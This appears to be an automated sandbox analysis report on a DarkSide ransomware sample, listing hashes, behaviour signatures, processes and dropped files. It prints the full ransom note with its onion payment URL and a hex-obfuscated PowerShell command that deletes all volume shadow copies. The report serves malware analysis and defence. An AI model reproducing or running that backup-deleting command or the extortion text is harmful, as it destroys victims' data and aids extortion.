Resubmissions

28-07-2024 16:38

240728-t5tryssgmm 10

07-07-2024 14:07

240707-rfgd8atekm 10

07-07-2024 14:07

240707-re689awdpe 10

13-09-2022 17:54

220913-wg1lpsgbg7 10

Analysis

  • max time kernel
    841s
  • max time network
    843s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    07-07-2024 14:07

General

  • Target

    RansomwareSamples/DarkSide_01_05_2021_30KB.exe

  • Size

    30KB

  • MD5

    f00aded4c16c0e8c3b5adfc23d19c609

  • SHA1

    86ca4973a98072c32db97c9433c16d405e4154ac

  • SHA256

    4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

  • SHA512

    a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

  • SSDEEP

    768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Malware Config

Extracted

Path

C:\Users\Admin\README.5eed5043.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (156) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
    "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2876

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    9f635b7ddd01faaef7fc061eab3e7d94

    SHA1

    bd7468b17cd6ea5fac8a594b6dc15dd90ba58817

    SHA256

    5413f79a15b06988f841be4514ec1f2f8929af733908cfccd8a9fb2e9c654835

    SHA512

    04dec649c3477bab5910c6f103007c7c81e9abb4d6eb6634e86ded2e57d51c65ee25eea1fd69ffb024ef4ff61784ec0845f4a4b1dd3ca579613d81dbb0cd69a7

  • C:\Users\Admin\README.5eed5043.TXT

    Filesize

    1KB

    MD5

    f418a249405444da33cc73b402a26306

    SHA1

    1a6c493e74036f93f0dae4b65e6c543c213ce418

    SHA256

    b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

    SHA512

    b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

  • memory/1232-2-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/1232-215-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/1232-210-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/1232-0-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/1232-208-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/1232-154-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/1232-150-0x0000000001010000-0x0000000001027000-memory.dmp

    Filesize

    92KB

  • memory/2584-9-0x0000000002250000-0x0000000002258000-memory.dmp

    Filesize

    32KB

  • memory/2584-13-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

    Filesize

    9.6MB

  • memory/2584-12-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

    Filesize

    9.6MB

  • memory/2584-11-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

    Filesize

    9.6MB

  • memory/2584-10-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

    Filesize

    9.6MB

  • memory/2584-8-0x000000001B610000-0x000000001B8F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2584-7-0x000007FEF507E000-0x000007FEF507F000-memory.dmp

    Filesize

    4KB